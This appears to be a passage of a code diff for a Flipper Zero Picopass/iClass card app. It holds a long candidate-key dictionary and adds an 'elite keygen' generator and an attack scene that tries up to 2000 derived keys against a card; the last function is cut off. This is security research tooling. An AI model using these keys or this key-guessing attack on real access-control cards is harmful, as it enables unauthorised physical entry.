+3F0F6404798F9F6C
+0F6404798F9F6C38
+6404798F9F6C38A8
+04798F9F6C38A891
+798F9F6C38A8911F
+8F9F6C38A8911FC7
+9F6C38A8911FC749
+6C38A8911FC749FE
+38A8911FC749FE23
+A8911FC749FE231E
+911FC749FE231E5E
+1FC749FE231E5EB6
+C749FE231E5EB656
+49FE231E5EB656B3
+FE231E5EB656B350
+231E5EB656B3500C
+1E5EB656B3500C10
+5EB656B3500C1092
+B656B3500C1092CC
+56B3500C1092CC89
+B3500C1092CC8904
+500C1092CC8904B0
+0C1092CC8904B0C6
+1092CC8904B0C6E2
+92CC8904B0C6E267
+CC8904B0C6E2677D
+8904B0C6E2677DBD
+04B0C6E2677DBD28
+B0C6E2677DBD2854
+C6E2677DBD2854B8
+E2677DBD2854B840
+677DBD2854B8403F
+7DBD2854B8403F70
+BD2854B8403F7087
+2854B8403F7087B1
+54B8403F7087B191
+B8403F7087B191CA
+403F7087B191CAC7
+3F7087B191CAC749
+7087B191CAC74903
+87B191CAC7490304
+B191CAC7490304A1
+91CAC7490304A15C
+CAC7490304A15C28
+C7490304A15C28B8
+490304A15C28B85E
+0304A15C28B85EDF
+04A15C28B85EDFB5
 A15C28B85EDFB515
-0CBE6CC4851B3ED4
+5C28B85EDFB5157C
+28B85EDFB5157C27
+B85EDFB5157C2736
+5EDFB5157C2736C9
+DFB5157C2736C901
+B5157C2736C901F3
+157C2736C901F3FF
+7C2736C901F3FF24
+2736C901F3FF240F
+36C901F3FF240FAD
+C901F3FF240FAD64
+01F3FF240FAD647A
+F3FF240FAD647AB9
+FF240FAD647AB9ED
+240FAD647AB9ED2D
+0FAD647AB9ED2DC9
+AD647AB9ED2DC915
+647AB9ED2DC9153F
+7AB9ED2DC9153F44
+B9ED2DC9153F449B
+ED2DC9153F449B92
+2DC9153F449B9226
+C9153F449B9226B1
+153F449B9226B12E
+3F449B9226B12E8C
+449B9226B12E8C61
+9B9226B12E8C61C8
+9226B12E8C61C8D3
+26B12E8C61C8D31E
+B12E8C61C8D31E6C
+2E8C61C8D31E6CA1
+8C61C8D31E6CA194
+61C8D31E6CA19438
+C8D31E6CA194384A
+D31E6CA194384AC9
 1E6CA194384AC919
-524556D8E2050B1F
-12DE53985046F94E
+6CA194384AC919F1
+A194384AC919F182
+94384AC919F18237
+384AC919F18237CC
+4AC919F18237CC1E
+C919F18237CC1E67
+19F18237CC1E6782
+F18237CC1E67823C
+8237CC1E67823C23
+37CC1E67823C239D
+CC1E67823C239D50
+1E67823C239D50BF
+67823C239D50BF09
+823C239D50BF09D9
+3C239D50BF09D912
+239D50BF09D9125C
+9D50BF09D9125CD1
+50BF09D9125CD1E8
+BF09D9125CD1E8EF
+09D9125CD1E8EFE8
+D9125CD1E8EFE808
+125CD1E8EFE808F3
+5CD1E8EFE808F3FD
+D1E8EFE808F3FD6E
+E8EFE808F3FD6E9C
+EFE808F3FD6E9C01
+E808F3FD6E9C01B7
+08F3FD6E9C01B7D4
+F3FD6E9C01B7D4EE
+FD6E9C01B7D4EEBD
+6E9C01B7D4EEBDAC
+9C01B7D4EEBDACBC
+01B7D4EEBDACBC28
+B7D4EEBDACBC287A
+D4EEBDACBC287A74
+EEBDACBC287A74A9
+BDACBC287A74A9D1
+ACBC287A74A9D174
 BC287A74A9D174E8
-BC3B29536A124174
-515B00B7D428DAA6
+287A74A9D174E863
+7A74A9D174E8639E
+74A9D174E8639E59
+A9D174E8639E5992
+D174E8639E59929C
+74E8639E59929C8C
+E8639E59929C8C08
+639E59929C8C0863
+9E59929C8C0863D3
+59929C8C0863D32B
+929C8C0863D32B98
 9C8C0863D32B98A4
-8237CC1E67823C23
-F18237CC1E67823C
-FA4E3F0F6404798F
-E142E32B7DF3807F
-ABE827F982DE18EF
+8C0863D32B98A479
+0863D32B98A4793D
+63D32B98A4793D9C
+D32B98A4793D9C2F
+2B98A4793D9C2F53
+98A4793D9C2F537F
+A4793D9C2F537FA5
+793D9C2F537FA5DF
+3D9C2F537FA5DF1F
+9C2F537FA5DF1FC7
+2F537FA5DF1FC709
+537FA5DF1FC70945
+7FA5DF1FC709457A
+A5DF1FC709457A4F
+DF1FC709457A4FE3
+1FC709457A4FE39D
+C709457A4FE39D01
+09457A4FE39D0151
+457A4FE39D01515B
+7A4FE39D01515B00
+4FE39D01515B00B7
+E39D01515B00B7D4
+9D01515B00B7D428
+01515B00B7D428DA
+515B00B7D428DAA6
+5B00B7D428DAA6C5
+00B7D428DAA6C552
+B7D428DAA6C5529F
+D428DAA6C5529FC9
+28DAA6C5529FC949
+DAA6C5529FC9493D
+A6C5529FC9493DBA
+C5529FC9493DBA2A
+529FC9493DBA2A52
+9FC9493DBA2A52E3
+C9493DBA2A52E3C6
+493DBA2A52E3C648
+3DBA2A52E3C64870
+BA2A52E3C6487061
+2A52E3C648706101
+52E3C648706101BB
+E3C648706101BBEA
+C648706101BBEAB5
+48706101BBEAB5FE
+706101BBEAB5FE1B
+6101BBEAB5FE1B0E
+01BBEAB5FE1B0EC6
+BBEAB5FE1B0EC69A
+EAB5FE1B0EC69A1D
+B5FE1B0EC69A1DC5
+FE1B0EC69A1DC5A4
+1B0EC69A1DC5A430
+0EC69A1DC5A430FF
+C69A1DC5A430FF6A
+9A1DC5A430FF6A12
+1DC5A430FF6A1211
+C5A430FF6A121127
+A430FF6A121127DD
+30FF6A121127DD42
+FF6A121127DD422E
+6A121127DD422E07
+121127DD422E07D3
+1127DD422E07D3DF
+27DD422E07D3DF18
+DD422E07D3DF1843
+422E07D3DF184370
+2E07D3DF18437050
+07D3DF184370502B
+D3DF184370502B16
+DF184370502B1617
+184370502B16173C
+4370502B16173C05
+70502B16173C05F1
+502B16173C05F181
+2B16173C05F18149
+16173C05F181493D
+173C05F181493D66
+3C05F181493D660C
+05F181493D660C2A
+F181493D660C2A52
 81493D660C2A5245
-3FAE7F61A83DB655
-D2EB1FB841DCDF08
-C919F18237CC1E67
-647AB9ED2DC9153F
-537FA5DF1FC70945
+493D660C2A524556
+3D660C2A524556D8
+660C2A524556D8E2
+0C2A524556D8E205
+2A524556D8E2050B
+524556D8E2050B1F
+4556D8E2050B1F1D
+56D8E2050B1F1D65
+D8E2050B1F1D65FB
+E2050B1F1D65FB5D
+050B1F1D65FB5D78
+0B1F1D65FB5D7852
+1F1D65FB5D785270
+1D65FB5D78527086
+65FB5D78527086A6
 FB5D78527086A60C
-CAC7490304A15C28
-E39D01515B00B7D4
-5B3FAE7F61A83DB6
-3C384BE84F5A6B78
-AE13DEBBD810AC40
-9F6E0B0CB425428E
-912E1CB2C054D065
-C071D91E0795BEBA
-4C1617AA1B7DA8EA
-74096CD12AF4C6B0
-48B6010B1D8BC24B
-3B29536A12417409
-240FAD647AB9ED2D
-56B3500C1092CC89
-AC40BF3FB59F6E0B
-C7490304A15C28B8
-8A3E680AF244E13F
-AFFAB4A6A2A566B8
+5D78527086A60CBE
 78527086A60CBE6C
-ED2DC9153F449B92
-E6FBE030F774B72D
-61A83DB6554C1617
-87B191CAC7490304
-19C73D0811EEE119
-680AF244E13FB60E
-27DD422E07D3DF18
-B841DCDF08E576BA
-FC22F72AC9C2E6DB
-5058C908068D67C0
-5D912E1CB2C054D0
-1FBD59936949B4C1
-01515B00B7D428DA
-16B256B79DFE12DE
-AD647AB9ED2DC915
-30F774B72DBC2FA1
-384AC919F18237CC
-0795BEBA8A3E680A
-691DE69079350928
-C15B3FAE7F61A83D
-823C239D50BF09D9
-AA1B7DA8EACC5B7C
-1D8BC24B16B256B7
-74B72DBC2FA15BB3
-2B03163830E3E9A9
-EACC5B7C62C491C1
-1162DD6A97FAC8D2
-5046F94E6F5D912E
-2DC9153F449B9226
-153F449B9226B12E
-BD59936949B4C15B
+527086A60CBE6CC4
+7086A60CBE6CC485
+86A60CBE6CC4851B
+A60CBE6CC4851B3E
+0CBE6CC4851B3ED4
 BE6CC4851B3ED409
-793B5BB5A4528B0B
-10AC40BF3FB59F6E
-ABABB46DFB93B584
-204388A3C089828C
-71D91E0795BEBA8A
-2DBC2FA15BB30725
-B79DFE12DE539850
-8C0863D32B98A479
+6CC4851B3ED409B1
+C4851B3ED409B14E
+851B3ED409B14E6C
 1B3ED409B14E6C24
-B0C6E2677DBD2854
-C32634573C1798D0
-536A124174096CD1
+3ED409B14E6C24F2
+D409B14E6C24F217
+09B14E6C24F217AF
+B14E6C24F217AFC1
+4E6C24F217AFC12C
+6C24F217AFC12C7E
+24F217AFC12C7E7D
+F217AFC12C7E7D8F
+
+5518848B2E911037
+3C384BE84F5A6B78
+FC22F72AC9C2E6DB
+1162DD6A97FAC8D2
 B883C57781CDC832
-30E3E9A967E142E3
-660C2A524556D8E2
-04B0C6E2677DBD28
-38A8911FC749FE23
-1FB841DCDF08E576
-CB941FBD59936949
-D428DAA6C5529FC9
-482562E49EDD4B30
 9D76908782D1A7FE
-976CE582C3263457
-2DD18E0C68FDAEFF
-B30725F2C49288F5
-9EDD4B30EAB0F02B
-0647482562E49EDD
-8F9F6C38A8911FC7
-B60E84963355B437
 6F8D453205DB962B
-0FAD647AB9ED2DC9
-94384AC919F18237
 7E14BD46BAD35522
-E78530CB941FBD59
-3DBA2A52E3C64870
-9079350928E49A2A
-B3E6FBE030F774B7
-BF2B03163830E3E9
-B584A50647482562
-AE7F61A83DB6554C
-3D660C2A524556D8
-7E5F3F43BA819F19
-3F7087B191CAC749
-04A15C28B85EDFB5
 DA7B6144B03E1BB1
-5BB5A4528B0B361E
-EDF90C1A4E0C7057
-529FC9493DBA2A52
-2ACD5C793B5BB5A4
-C8B2F9456B8D5897
-83E2AFFAB4A6A2A5
-48D0773590ADFA99
-1617AA1B7DA8EACC
-88A3C089828CBDB3
 F5B3F854EC33DA38
-B14E6C24F217AFC1
-6F5D912E1CB2C054
-5EDFB5157C2736C9
-A6A2A566B839BDC7
 6A3B86281DF16B36
-C24B16B256B79DFE
-9C01B7D4EEBDACBC
-C8D31E6CA194384A
-0C2A524556D8E205
-C69A1DC5A430FF6A
-0863D32B98A4793D
-A2A566B839BDC7DC
-8530CB941FBD5993
-706101BBEAB5FE1B
-DEFD1FED8E326B65
-0C68FDAEFFD62043
-1D65FB5D78527086
-93B584A506474825
-59929C8C0863D32B
-502B16173C05F181
-A4793D9C2F537FA5
-1A4E0C70579D5058
-EEBDACBC287A74A9
-07B7C106FCFCC8B2
-FE2ACD5C793B5BB5
-DEBBD810AC40BF3F
-105790EB34FCAFA9
-AEFFD6204388A3C0
-C11B398C000D9719
-24F217AFC12C7E7D
-0AE186B3AAE8271A
-CD36017CABABB46D
-1E0795BEBA8A3E68
-017CABABB46DFB93
-6CD12AF4C6B00155
-18EF875849BC3B29
-AFA9ED3807B7C106
-95BEBA8A3E680AF2
-225BA9C1A0FDAA48
-48706101BBEAB5FE
-BF09D9125CD1E8EF
-456B8D58976CE582
-99DBA4CD36017CAB
-EEE11930DA7E5F3F
-1E5EB656B3500C10
-86A60CBE6CC4851B
-B2F9456B8D58976C
-8C000D9719A19023
-1B0EC69A1DC5A430
-5849BC3B29536A12
-CC1E67823C239D50
-7DA8EACC5B7C62C4
-FCAFA9ED3807B7C1
-D9125CD1E8EFE808
-3B5BB5A4528B0B36
-EC6C67F210E78530
-5D78527086A60CBE
-E8225BA9C1A0FDAA
-819F199AF82DD18E
-28B85EDFB5157C27
-773590ADFA99DBA4
-9A2A1092A12148D0
-124174096CD12AF4
-03163830E3E9A967
-F25C100DF7042EAE
-D91E0795BEBA8A3E
-B72DBC2FA15BB307
-D1E8EFE808F3FD6E
-F774B72DBC2FA15B
-25E8225BA9C1A0FD
-7A4FE39D01515B00
-2E1CB2C054D06577
-8EF25C100DF7042E
-965D6E234471D87E
-FDAA48B6010B1D8B
-573C1798D0269B83
-B5FE1B0EC69A1DC5
-5B8CE0A0D8B6BF2B
-C6E2677DBD2854B8
-44E13FB60E849633
-5BB30725F2C49288
-9E4411D032C2507A
-8E0C68FDAEFFD620
-B2C054D06577009A
-DD66EC6C67F210E7
-06FCFCC8B2F9456B
-72EDF90C1A4E0C70
-0E84963355B437FE
-40BF3FB59F6E0B0C
-7650F272EDF90C1A
-2562E49EDD4B30EA
-C5529FC9493DBA2A
-4556D8E2050B1F1D
+DEFD1FED8E326B65
+0AE186B3AAE8271A
+965D6E234471D87E
+9E4411D032C2507A
 453FB5A1FEDA63B7
-61C8D31E6CA19438
-A5DF1FC709457A4F
-24ED3625E8225BA9
-54B8403F7087B191
-F7042EAE64105790
-08F3FD6E9C01B7D4
-79350928E49A2A10
-F82DD18E0C68FDAE
-9D50BF09D9125CD1
-269B83E2AFFAB4A6
-52E3C648706101BB
-B191CAC7490304A1
-0F6404798F9F6C38
-828CBDB3E6FBE030
-3C05F181493D660C
-9719A190237BAE13
-91CAC7490304A15C
-A190237BAE13DEBB
-76BABC3D54B25C01
-63D32B98A4793D9C
-6C38A8911FC749FE
-A4528B0B361EDE24
-E3C648706101BBEA
-4B30EAB0F02B77CC
-B3500C1092CC8904
-FE1B0EC69A1DC5A4
-F02B77CC90AA19C7
-422E07D3DF184370
-2FA15BB30725F2C4
-19A190237BAE13DE
-7A74A9D174E8639E
-BEBA8A3E680AF244
-9ADCD2EB1FB841DC
-6B8D58976CE582C3
-911FC749FE231E5E
-0CB425428EF25C10
-89828CBDB3E6FBE0
-163830E3E9A967E1
-58C908068D67C071
-0AF244E13FB60E84
-5B00B7D428DAA6C5
-3E680AF244E13FB6
-8CBDB3E6FBE030F7
 73809262FEF07B22
-C7DC33D5ABE827F9
-1930DA7E5F3F43BA
-F181493D660C2A52
-FCFCC8B2F9456B8D
-B5A4528B0B361EDE
-9FC9493DBA2A52E3
 31FEAFF95861995F
-84A50647482562E4
-3D0811EEE11930DA
-ED3807B7C106FCFC
-EB1FB841DCDF08E5
-493D660C2A524556
-B6010B1D8BC24B16
-A6C5529FC9493DBA
-62E49EDD4B30EAB0
-A9ED3807B7C106FC
 63CD88555E147AFB
-ED3625E8225BA9C1
-1EDE24ED3625E822
-3FB60E84963355B4
-B256B79DFE12DE53
-3ED409B14E6C24F2
 FAE6F51186CF8D27
-DC33D5ABE827F982
-BABC3D54B25C0158
-0C1A4E0C70579D50
-13DEBBD810AC40BF
-639E59929C8C0863
-98A4793D9C2F537F
-F982DE18EF875849
 9C5A67AD8A7840AC
-6404798F9F6C38A8
-7BAE13DEBBD810AC
-BA2A52E3C6487061
-9AF82DD18E0C68FD
 6F0897459D936AC7
 AFA785A7DAB33378
-963355B437FE2ACD
-E11930DA7E5F3F43
-7C2736C901F3FF24
-DEFB3722DF096419
-43D0E12B39582062
-41DCDF08E576BABC
-CE670E1C4BDAEEEF
-5CD1E8EFE808F3FD
-9D5058C908068D67
-04798F9F6C38A891
-4E3F0F6404798F9F
-A566B839BDC7DC33
-90ADFA99DBA4CD36
-FAB4A6A2A566B839
-050B1F1D65FB5D78
-4FE39D01515B00B7
-3830E3E9A967E142
-92CC8904B0C6E267
-A194384AC919F182
-A9D174E8639E5992
-EFE808F3FD6E9C01
-0B1F1D65FB5D7852
-765D0B2EB5560D87
-1127DD422E07D3DF
-974CC752C4A8166E
-1B398C000D9719A1
-77CC90AA19C73D08
-173C05F181493D66
-579D5058C908068D
-121127DD422E07D3
-985046F94E6F5D91
-4E6C24F217AFC12C
-E2AFFAB4A6A2A566
-74929EB85B8CE0A0
-1ABDD3794309EAEA
-C6B0015532FDA9EC
-01B7D4EEBDACBC28
-D409B14E6C24F217
-096CD12AF4C6B001
-2AF4C6B0015532FD
-C901F3FF240FAD64
-A15BB30725F2C492
-30EAB0F02B77CC90
-793D9C2F537FA5DF
-E13FB60E84963355
-D0269B83E2AFFAB4
-16173C05F181493D
-807F40B07650F272
-554C1617AA1B7DA8
-81B3726676CB7DBB
-0D9719A190237BAE
-184370502B16173C
-EC04064B0CCF691D
-4E0C70579D5058C9
-49B4C15B3FAE7F61
-3F0F6404798F9F6C
-70502B16173C05F1
-E1E1B4AE3317463C
-009ADCD2EB1FB841
-493DBA2A52E3C648
-67C071D91E0795BE
-E8639E59929C8C08
-0CCF691DE6907935
-58F2FA4E3F0F6404
-31773C059A90CB65
-0304A15C28B85EDF
-5EA8BF8FEA56FDD6
-0DF7042EAE641057
-DFB5157C2736C901
-1950A6B44D689D4A
-2A52E3C648706101
-30FF6A121127DD42
-F96E53BDBE2CEC52
-E9A967E142E32B7D
-DE18EF875849BC3B
-9E59929C8C0863D3
-BC3D54B25C0158F2
-428EF25C100DF704
-DCDF08E576BABC3D
-2B77CC90AA19C73D
-F94E6F5D912E1CB2
-9D01515B00B7D428
-F574929EB85B8CE0
-D8D4682C053F9332
-5532FDA9EC04064B
-0158F2FA4E3F0F64
-125CD1E8EFE808F3
-BA819F199AF82DD1
-6A124174096CD12A
-68FDAEFFD6204388
-9B9226B12E8C61C8
-B12E8C61C8D31E6C
-3807B7C106FCFCC8
-7C62C491C11B398C
-C9153F449B9226B1
-D31E6CA194384AC9
-7AB9ED2DC9153F44
-D8E2050B1F1D65FB
-E827F982DE18EF87
-DBA4CD36017CABAB
-85F114CCBA145C43
-2F537FA5DF1FC709
-F4C6B0015532FDA9
-58976CE582C32634
-D5ABE827F982DE18
-B85EDFB5157C2736
-064B0CCF691DE690
-1092CC8904B0C6E2
-C054D06577009ADC
-3C1798D0269B83E2
-67823C239D50BF09
-26B12E8C61C8D31E
-ADFA99DBA4CD3601
-85A6D9ABE802C474
-34FCAFA9ED3807B7
-7F40B07650F272ED
-D3DF184370502B16
-DA7E5F3F43BA819F
-DF184370502B1617
-BB915C51A3258C76
-6C67F210E78530CB
-A967E142E32B7DF3
-E582C32634573C17
-F272EDF90C1A4E0C
-237BAE13DEBBD810
-6DFB93B584A50647
-FDAEFFD6204388A3
-A50647482562E49E
-01F3FF240FAD647A
-0928E49A2A1092A1
-D18E0C68FDAEFFD6
-C1A0FDAA48B6010B
-E576BABC3D54B25C
-1798D0269B83E2AF
-33D5ABE827F982DE
-56B79DFE12DE5398
-6CE582C32634573C
-CC90AA19C73D0811
-54D06577009ADCD2
-07D3DF184370502B
-8BC24B16B256B79D
-E8EFE808F3FD6E9C
-24719A973EDB54F0
-0205AE53351E8E7E
-30CB941FBD599369
-DD4B30EAB0F02B77
-B4A6A2A566B839BD
-B7C106FCFCC8B2F9
-0725F2C49288F574
-8D58976CE582C326
-7F61A83DB6554C16
-0811EEE11930DA7E
-AE64105790EB34FC
-AA19C73D0811EEE1
-5C0158F2FA4E3F0F
-ABB46DFB93B584A5
-2E07D3DF18437050
-34573C1798D0269B
-9EB85B8CE0A0D8B6
-C491C11B398C000D
-798F9F6C38A8911F
-32FDA9EC04064B0C
-B9ED2DC9153F449B
-361EDE24ED3625E8
-A12148D0773590AD
-A8911FC749FE231E
-0EC69A1DC5A430FF
-01BBEAB5FE1B0EC6
-A0D8B6BF2B031638
-4AC919F18237CC1E
-449B9226B12E8C61
-DE53985046F94E6F
-350928E49A2A1092
-DF08E576BABC3D54
-37FE2ACD5C793B5B
-010B1D8BC24B16B2
-6CA194384AC919F1
-9226B12E8C61C8D3
+DEFB3722DF096419
+43D0E12B39582062
+CE670E1C4BDAEEEF
+765D0B2EB5560D87
+974CC752C4A8166E
+1ABDD3794309EAEA
+81B3726676CB7DBB
+E1E1B4AE3317463C
+31773C059A90CB65
+5EA8BF8FEA56FDD6
+1950A6B44D689D4A
+F96E53BDBE2CEC52
+D8D4682C053F9332
+85F114CCBA145C43
+85A6D9ABE802C474
+BB915C51A3258C76
+24719A973EDB54F0
+0205AE53351E8E7E
 B8F813F021E7FF16
-527086A60CBE6CC4
-67E142E32B7DF380
 1DEA896C15A01330
-FA99DBA4CD36017C
-36C901F3FF240FAD
-8B0B361EDE24ED36
-B59F6E0B0CB42542
 3D13F9F07B64D966
-40B07650F272EDF9
-C106FCFCC8B2F945
-C5A430FF6A121127
 21247DA2D5A1C085
-3D54B25C0158F2FA
-2148D0773590ADFA
-8C61C8D31E6CA194
-1092A12148D07735
-0C70579D5058C908
-09D9125CD1E8EFE8
-D32B98A4793D9C2F
-BBD810AC40BF3FB5
-BDC7DC33D5ABE827
-4388A3C089828CBD
-A8EACC5B7C62C491
-C709457A4FE39D01
-04064B0CCF691DE6
-B656B3500C1092CC
-2A524556D8E2050B
-42E32B7DF3807F40
-3625E8225BA9C1A0
-90EB34FCAFA9ED38
-66EC6C67F210E785
-A9EC04064B0CCF69
-B4C15B3FAE7F61A8
-50F272EDF90C1A4E
-B07650F272EDF90C
-64105790EB34FCAF
-B5157C2736C901F3
 96A1D7AB6138B339
-B85B8CE0A0D8B6BF
-67F210E78530CB94
-6CC4851B3ED409B1
-4370502B16173C05
-2634573C1798D026
-C908068D67C071D9
 B78C814C8EABC1F4
-875849BC3B29536A
-B6BF2B03163830E3
-2EAE64105790EB34
-C9493DBA2A52E3C6
-28E49A2A1092A121
-25428EF25C100DF7
-09457A4FE39D0151
-3F449B9226B12E8C
-CF691DE690793509
-EAB0F02B77CC90AA
-74E8639E59929C8C
-8CE0A0D8B6BF2B03
-BC2FA15BB30725F2
-1B7DA8EACC5B7C62
-E32B7DF3807F40B0
-C73D0811EEE11930
-B6554C1617AA1B7D
-7DF3807F40B07650
-91C11B398C000D97
 7D9A947DA370382D
-490304A15C28B85E
-7087B191CAC74903
-F9456B8D58976CE5
-FF6A121127DD422E
 D81512AEB57982DD
-7FA5DF1FC709457A
-042EAE64105790EB
-54B25C0158F2FA4E
-BDACBC287A74A9D1
-D06577009ADCD2EB
-F210E78530CB941F
-65FB5D78527086A6
-0C1092CC8904B0C6
-2E8C61C8D31E6CA1
-3F43BA819F199AF8
-92A12148D0773590
-09B14E6C24F217AF
-3C239D50BF09D912
-D174E8639E59929C
 3B321CDCADC5601D
-BD2854B8403F7087
-FE231E5EB656B350
-941FBD59936949B4
 2666EBDD351FDB4C
-9A1DC5A430FF6A12
-49BC3B29536A1241
-D810AC40BF3FB59F
-157C2736C901F3FF
-84963355B437FE2A
-FFD6204388A3C089
-66B839BDC7DC33D5
-E030F774B72DBC2F
-EAB5FE1B0EC69A1D
-2736C901F3FF240F
-528B0B361EDE24ED
-6E0B0CB425428EF2
-70579D5058C90806
-E808F3FD6E9C01B7
-398C000D9719A190
-851B3ED409B14E6C
-6949B4C15B3FAE7F
-9288F574929EB85B
-2A1092A12148D077
-7DBD2854B8403F70
 FB75A77DB568B117
-D8B6BF2B03163830
-ACBC287A74A9D174
-B8403F7087B191CA
-F3FD6E9C01B7D4EE
-929C8C0863D32B98
 06F3D1434297FE44
-A4CD36017CABABB4
-B7D4EEBDACBC287A
-DD422E07D3DF1843
-B46DFB93B584A506
-4174096CD12AF4C6
-53985046F94E6F5D
-500C1092CC8904B0
-2854B8403F7087B1
 2FADA9D2C7DFD116
-0B0CB425428EF25C
-2B98A4793D9C2F53
-88F574929EB85B8C
-3DB6554C1617AA1B
-C089828CBDB3E6FB
-E2677DBD2854B840
-90237BAE13DEBBD8
-90AA19C73D0811EE
-DAA6C5529FC9493D
-98D0269B83E2AFFA
-4B16B256B79DFE12
-9C2F537FA5DF1FC7
-E2050B1F1D65FB5D
-5C28B85EDFB5157C
-59936949B4C15B3F
-B437FE2ACD5C793B
-FCC8B2F9456B8D58
-C4851B3ED409B14E
-1DC5A430FF6A1211
-43BA819F199AF82D
-1FC749FE231E5EB6
-C749FE231E5EB656
-39BDC7DC33D5ABE8
-4B0CCF691DE69079
-F244E13FB60E8496
-231E5EB656B3500C
-3355B437FE2ACD5C
-47482562E49EDD4B
-A0FDAA48B6010B1D
-E69079350928E49A
-82C32634573C1798
 70174B4C55081B73
-F3807F40B07650F2
 3EAFC735E87AA7EB
-5C793B5BB5A4528B
-B0F02B77CC90AA19
-5BA9C1A0FDAA48B6
-A83DB6554C1617AA
-8D67C071D91E0795
-457A4FE39D01515B
-BA8A3E680AF244E1
-DE24ED3625E8225B
-27F982DE18EF8758
-D4EEBDACBC287A74
-D12AF4C6B0015532
-677DBD2854B8403F
-015532FDA9EC0406
 E9D181DCF3606E30
-F90C1A4E0C70579D
 7C81AB9730375860
-82DE18EF875849BC
-FD6E9C01B7D4EEBD
-A60CBE6CC4851B3E
-C49288F574929EB8
-08E576BABC3D54B2
-1FC709457A4FE39D
-2B16173C05F18149
-56D8E2050B1F1D65
 568880F8515A74CE
-AA48B6010B1D8BC2
-D0773590ADFA99DB
-2B7DF3807F40B076
-F217AFC12C7E7D8F
-4E6F5D912E1CB2C0
-287A74A9D174E863
-B0015532FDA9EC04
 3D2958F0F4014621
-FDA9EC04064B0CCF
 FB67D02F86DA35A2
-100DF7042EAE6410
-F3FF240FAD647AB9
-AFA785A7DAB33378
 448F839FF4788375
-936949B4C15B3FAE
-BDB3E6FBE030F774
-3FB59F6E0B0CB425
-7086A60CBE6CC485
-B839BDC7DC33D5AB
 5066F764A834474B
-5F3F43BA819F199A
-BF3FB59F6E0B0CB4
-BBEAB5FE1B0EC69A
-B25C0158F2FA4E3F
 B92B2F7E515DCAC1
-9DFE12DE53985046
 6CC2EF9F295C39DB
-5790EB34FCAFA9ED
-8904B0C6E2677DBD
-FBE030F774B72DBC
-DF1FC709457A4FE3
-FF240FAD647AB9ED
-F2C49288F574929E
-E3E9A967E142E32B
-5EB656B3500C1092
-068D67C071D91E07
-10E78530CB941FBD
-5B7C62C491C11B39
-EB34FCAFA9ED3807
-25F2C49288F57492
-74A9D174E8639E59
-3590ADFA99DBA4CD
-6E9C01B7D4EEBDAC
-50BF09D9125CD1E8
-929EB85B8CE0A0D8
-17AA1B7DA8EACC5B
-00B7D428DAA6C552
-CC8904B0C6E2677D
-6C24F217AFC12C7E
-E0A0D8B6BF2B0316
-05F181493D660C2A
 82D6B83D9150F82C
-A430FF6A121127DD
-9F6C38A8911FC749
 5B020E96A536B746
-C648706101BBEAB5
-0B1D8BC24B16B256
-08068D67C071D91E
-000D9719A190237B
-11EEE11930DA7E5F
-6101BBEAB5FE1B0E
-EF875849BC3B2953
-28DAA6C5529FC949
-36017CABABB46DFB
-19F18237CC1E6782
-1F1D65FB5D785270
-B425428EF25C100D
-B7D428DAA6C5529F
-49FE231E5EB656B3
-403F7087B191CAC7
-CD5C793B5BB5A452
 ECC7E9C999843102
 E4148EC936302E93
-30DA7E5F3F43BA81
-37CC1E67823C239D
-3D9C2F537FA5DF1F
-1E67823C239D50BF
-9F199AF82DD18E0C
-9B83E2AFFAB4A6A2
-A9C1A0FDAA48B601
-CC5B7C62C491C11B

+ 60 - 0
picopass/picopass_elite_keygen.c

@@ -0,0 +1,60 @@
+#include "picopass_elite_keygen.h"
+
+/* Based on https://youtu.be/MKSXSKQHz6o?si=DEKkW60x858pUI0a&t=600 */
+
+#define INITIAL_SEED 0x429080
+
+uint32_t seed = INITIAL_SEED;
+uint8_t key_state[8];
+bool prepared = false;
+
+void picopass_elite_reset() {
+    memset(key_state, 0, sizeof(key_state));
+    seed = INITIAL_SEED;
+    prepared = false;
+}
+
+uint32_t picopass_elite_lcg() {
+    uint32_t mod = 0x1000000; // 2^24,
+    uint32_t a = 0xFD43FD;
+    uint32_t c = 0xC39EC3;
+
+    return (a * seed + c) % mod;
+}
+
+uint32_t picopass_elite_rng() {
+    seed = picopass_elite_lcg();
+    return seed;
+}
+
+uint8_t picopass_elite_nextByte() {
+    return (picopass_elite_rng() >> 16) & 0xFF;
+}
+
+void picopass_elite_nextKey(uint8_t* key) {
+    if(prepared) {
+        for(size_t i = 0; i < 7; i++) {
+            key_state[i] = key_state[i + 1];
+        }
+        key_state[7] = picopass_elite_nextByte();
+    } else {
+        for(size_t i = 0; i < 8; i++) {
+            key_state[i] = picopass_elite_nextByte();
+        }
+        prepared = true;
+    }
+    memcpy(key, key_state, 8);
+}
+
+/*
+int main() {
+    size_t limit = 700;
+
+    for (size_t i = 0; i < limit; i++) {
+        nextKey();
+        printKey(key);
+        // printf("%04lx: %08x\n", i, nextByte());
+    }
+    return 0;
+}
+*/

+ 10 - 0
picopass/picopass_elite_keygen.h

@@ -0,0 +1,10 @@
+#pragma once
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+
+void picopass_elite_nextKey(uint8_t* key);
+void picopass_elite_reset();

+ 1 - 0
picopass/scenes/picopass_scene_config.h

@@ -23,3 +23,4 @@ ADD_SCENE(picopass, nr_mac_saved, NrMacSaved)
 ADD_SCENE(picopass, more_info, MoreInfo)
 ADD_SCENE(picopass, formats, Formats)
 ADD_SCENE(picopass, acknowledgements, Acknowledgements)
+ADD_SCENE(picopass, elite_keygen_attack, EliteKeygenAttack)

+ 145 - 0
picopass/scenes/picopass_scene_elite_keygen_attack.c

@@ -0,0 +1,145 @@
+#include "../picopass_i.h"
+#include <dolphin/dolphin.h>
+#include "../picopass_elite_keygen.h"
+
+#define PICOPASS_SCENE_DICT_ATTACK_KEYS_BATCH_UPDATE (10)
+#define PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT (2000)
+
+NfcCommand picopass_elite_keygen_attack_worker_callback(PicopassPollerEvent event, void* context) {
+    furi_assert(context);
+    NfcCommand command = NfcCommandContinue;
+
+    Picopass* picopass = context;
+
+    if(event.type == PicopassPollerEventTypeRequestMode) {
+        event.data->req_mode.mode = PicopassPollerModeRead;
+    } else if(event.type == PicopassPollerEventTypeRequestKey) {
+        uint8_t key[PICOPASS_KEY_LEN] = {};
+        bool is_key_provided = false;
+        if(picopass->dict_attack_ctx.current_key < PICOPASS_SCENE_ELITE_KEYGEN_ATTACK_LIMIT) {
+            picopass_elite_nextKey(key);
+            is_key_provided = true;
+        }
+
+        memcpy(event.data->req_key.key, key, PICOPASS_KEY_LEN);
+        event.data->req_key.is_elite_key = true;
+        event.data->req_key.is_key_provided = is_key_provided;
